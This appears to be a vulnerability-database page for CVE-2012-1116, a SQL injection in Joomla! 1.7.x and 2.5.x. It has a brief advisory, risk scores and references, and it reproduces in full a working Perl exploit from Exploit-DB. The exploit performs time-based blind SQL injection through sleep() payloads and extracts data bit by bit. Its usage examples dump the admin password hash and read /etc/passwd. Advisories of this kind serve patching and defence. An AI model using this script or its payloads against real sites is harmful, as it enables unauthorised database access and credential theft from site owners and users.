CVE-2012-1116
high
CVSS v3
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CVSS v4 NEW
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VIR risk
8.5
Description
SQL injection vulnerability in Joomla! 1.7.x and 2.5.x before 2.5.2 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
Predictions
Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Joomla! 2.5.1 - 'redirect.php' Blind SQL Injection
source: https://www.securityfocus.com/bid/52312/info
Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
#
# using sleep() and not benchmark(), change for < mysql 5.0.12
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result)
# select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
# select password from zzzz_users limit 1
use strict;
use LWP::UserAgent;
$| = 1;
my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];
unless ($ARGV[2]) {
print "$0 <url> <wait time> <sql>\n";
print "\texamples:\n";
print "\t get admin password:\n";
print "\t\t$0 http://host/joomla/ 3 'database()'\n";
print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
print "\t get file /etc/passwd\n";
print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
exit 1;
}
my ($len,$sqldata);
my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;
my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";
my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }
my $lenoflen;
sub len {
# length of length
for (1..5) {
my $sql=$_[0];
$stime = time();
$res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
$lenoflen = $_;
last;
}
}
for (1..$lenoflen) {
my $ll;
$ll=$_;
for (0..9) {
my $sql=$_[0];
$stime = time();
$res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
$len .= $_;
}
}
}
return $len;
}
sub data {
my $sql = $_[0];
my $len = $_[1];
my ($bit, $str, @byte);
my $high = 128;
for (1..$len) {
my $c=8;
@byte="";
my $a=$_;
for ($bit=1;$bit<=$high;$bit*=2) {
$stime = time();
# select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
$res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) {
$byte[$c]="0";
} else { $byte[$c]="1"; }
$c--;
}
$str = join("",@byte);
print pack("B*","$str");
}
}
$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);
References
- http://developer.joomla.org/security/news/391-20120301-core-sql-injection.html
- http://secunia.com/advisories/48005
- http://www.openwall.com/lists/oss-security/2012/03/06/12
- http://www.openwall.com/lists/oss-security/2012/03/06/5
- http://www.osvdb.org/79837
- http://www.securityfocus.com/bid/52312
- https://exchange.xforce.ibmcloud.com/vulnerabilities/73699
- http://developer.joomla.org/security/news/391-20120301-core-sql-injection.html
- http://secunia.com/advisories/48005
- http://www.openwall.com/lists/oss-security/2012/03/06/12
- http://www.openwall.com/lists/oss-security/2012/03/06/5
- http://www.osvdb.org/79837
- http://www.securityfocus.com/bid/52312
- https://exchange.xforce.ibmcloud.com/vulnerabilities/73699
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.